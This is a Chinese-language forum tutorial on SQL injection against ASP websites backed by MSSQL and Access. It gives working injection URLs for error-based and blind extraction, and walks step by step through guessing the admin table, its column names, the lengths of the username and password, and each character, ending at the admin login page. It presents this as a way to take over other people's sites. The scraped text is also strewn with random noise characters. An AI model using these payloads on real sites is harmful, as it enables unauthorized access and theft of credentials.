隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。$ Y* B4 W3 F: G2 d6 _$ |7 s
i' R8 b$ g+ o1 @( s1 o( @由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
0 v/ T: ~. m, O. M3 l
4 q& @& u. X( x" ]% v+ W' X' D相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:9 W' o. i$ s4 U6 {
9 R. U; h; @& k# n/ B4 l d6 X
·錯誤類型:
/ A& a& }) i7 o3 ?9 h. E, e$ [; A j; @3 [) y( k0 K0 @
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
! z3 g- l8 ^% D& ^2 d[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。- W6 ` X5 Y& ]) {- Q: g' k' M
/test/show.asp, 第 34 行
6 O: s) _7 t3 n; i# y5 ?" i
0 t) r6 A+ e/ d/ n; x2 ~2 p$ `從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:* Y) [4 L, R0 @9 H2 Q/ b
http://localhost/test/show.asp?ID=4 and (Select password fro
0 H0 W5 x4 z8 \+ ]6 x6 Q# e/ t4 m
, w6 f; Q& m- A' W. |m login where user_name=』admin』)>0,返回的出錯信息如下:5 ^, P3 X0 \( L
9 Z7 w9 Y+ R6 `- f( b" q ·錯誤類型:( V3 N+ h$ f9 x$ W- A
0 D- s: K: u& z1 W$ ~Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)* c( e6 `1 ?- T8 ~7 R* Y
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
3 ?" z( G! V, b# I/ ?2 P I/test/show.asp, 第 34 行
0 L" K, k+ L; M1 u) H1 j' U
. m9 N3 T6 t/ a9 r現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。! }' U" g, G' ]: k1 q) b
4 U/ H3 D1 o, o8 }% R: W" \
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
. B! d1 i3 ]. Y. D' o8 c" G
0 v. b7 z2 e) k( N Kxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx』
6 w6 t$ S8 {1 S: L" Z, y- j6 D0 A. u; }+ R. _$ A
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
' N, o8 I% [( o: A3 P- |5 Z: | S) I
Microsoft vbscript 編譯器錯誤 錯誤碼率 ' _3 D7 g- D$ i3 [
9 Y. n9 j( a+ u, Q- d$ l, Y
『800a03f6』 / h7 m$ T& Q$ i& ]) L
8 C o! F; I7 f6 ^9 j- h
缺少』End』+ G) h: ]5 Q) T1 b _
5 F0 G2 K) z4 D. v: k- T* a/iishelp/common/500-100.asp,行242" k8 A6 D# |& d# L
8 w( i7 k Q, X' E6 qADODB.Field 錯誤 『800a0bcd』
" ^( A4 h8 a% z9 I; A7 o' l7 i7 W5 N+ _" s# ] S0 h* w- k* m
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析: + M4 h* } j M3 G! q! z/ n3 m
: d7 }7 ]: c8 H% D8 U. \( ^ 如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′$ e+ y4 T# s. F4 Y
出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:0 O: a, U' U7 }0 x
3 h6 e, Y: Z3 f" C- z6 c7 g* q1 猜管理員帳號表。' ]! b j: K# j! E7 z
2 猜相應表中的用戶的字段名以及密碼的字段名。
$ ~! c4 n* [) ]* ]) A: s; p3 猜出用戶名的長度和密碼的長度% T Q. `, M0 i4 y
4 猜出用戶和密碼
- V; S, F4 O0 d0 ^0 n& W5 找到管理頁面進入管理
, A1 l# v( Y' n9 L# |1 b( W, q; T9 q. d1 U4 |. w
猜管理員的表:
" r: g% B B p/ u: r% L, l: x) k5 J( t* A+ L0 j" @4 m0 k
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值! y# b B4 x% ^( t/ ?- P2 i# C, a
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。
. ?) C; E* z0 T% l
" ]; r l# {9 L( H7 K& X猜用戶的字段名:& x+ Q/ l9 G" a: k" u
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名5 W+ F1 Y0 s) n& n; B( _# O! i. H( T
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)3 W- c6 ^$ H9 u5 J5 L. k
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
- q R2 Z$ [0 g% M) e c3 S
; l+ |# k2 o3 m1 Z+ h, b猜密碼的字段名:6 b% ?! m! o' _/ w4 {( n
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i
: j! Z! a- x5 h9 I1 ^; O; X3 F
( m, H! @# d4 h$ F/ Pd) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。 ' h% O: Q0 y! i7 Y
1 x1 @8 k+ @7 Y* F; u4 Y再來:http://hostlocal/test2/list.asp?id=17 and 1=(select# n' E9 z7 x9 }8 }7 n* B
* S3 w7 a2 w" P9 N% Y2 C
min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
; N6 U9 ^! o" W B7 P/ U- E% C6 F* V' T
猜用戶字段名長度:
0 [( X) u! k/ w# L% l
* g: d* @! t! X' [8 s' w; O5 ^http://hostlocal/test2/list.asp?id=17 and 1=(select min(
* T! c' a8 q# M, h6 Y+ `" c+ |& P+ Y0 h
: M' C- y, G* \" n0 s( N. F7 jid) from admin where len(username)
" ^4 E1 @1 i9 @- ~, N7 m+ g1 A% a# }, b( u$ E
>5)
. N7 W- A$ X5 ?* C: t/ x
9 n' N3 M1 A! h9 w 正確3 F6 A; ?1 C, @: k: y( Y
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
, N- ^6 l% _6 e5 N9 [. O$ c正確
+ T. I+ a. B4 Y' }" r. p: D, k& Q用戶名長度大於5小於10! g) K; K* o$ g1 D0 Q$ M4 M
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
7 j/ ~* ]2 u8 P4 i7 O' D* M
! \8 X1 X0 G3 {" X9 h* M=7)
* R" S) X5 ~' Q2 I. O7 l6 G: Z1 J* w2 j. r0 b. N: k
呵``` 用戶名長度為7位7 o% x1 z' b; P) F c
8 c9 x2 P2 f4 \# Q4 s. V; X* K
猜密碼長度:: |# l% m1 t7 A, a+ \0 a2 U2 R& N
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)9 M# B+ H% F' z1 j
正確
. u ^0 S4 ?0 M+ h# @. y' Ghttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
2 c* \/ u3 e+ l" e; y [: p正確 g4 N5 r- e) S$ i7 h
密碼長度也是大於5小於107 l6 N$ v0 O$ T, z; N
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7): x* A% _; P% E" G
呵``` 密碼長度為7位- n* ~. C8 C/ W* s
4 V& _3 E$ f$ G! ]/ H6 h猜用戶名:/ f9 j9 |# c/ J% w- Q6 `+ N
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)* s" p# V% C& m) ~
7 {/ z" s0 h7 m5 [8 y3 j3 Z 用戶名第一個字母是:a ! Y) u0 k- R( P' d2 v
3 j& n, ^( G7 v9 X7 M) l- D4 k猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=8 q9 r! J& V0 v2 y
$ |8 C0 J& C* w(select min(id) from admin where mid(username,2,1)=′b′) " d# o) ~# y- t# X8 V" H2 z
! L. X% k' v6 |8 o+ |& z以此類推!! e! F' n2 I5 c, j* C. P9 A
9 c: {2 M0 I k
猜密碼:
) H6 v% g3 ]* Y2 a: p
2 s6 e. b) C( D# F- M# @- l) }猜密碼跟猜用戶名一樣!8 x; @" B& w& B. o: S) @, f2 A
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) 6 Z2 J7 m5 H, G! G2 _' ~
猜完後來到管理頁面:" u+ s" J" v, i8 f
http://hostlocal/test2/admin.asp1 q7 D4 ]0 w; B
! _* i+ U( ]7 A* q: z登錄 |
|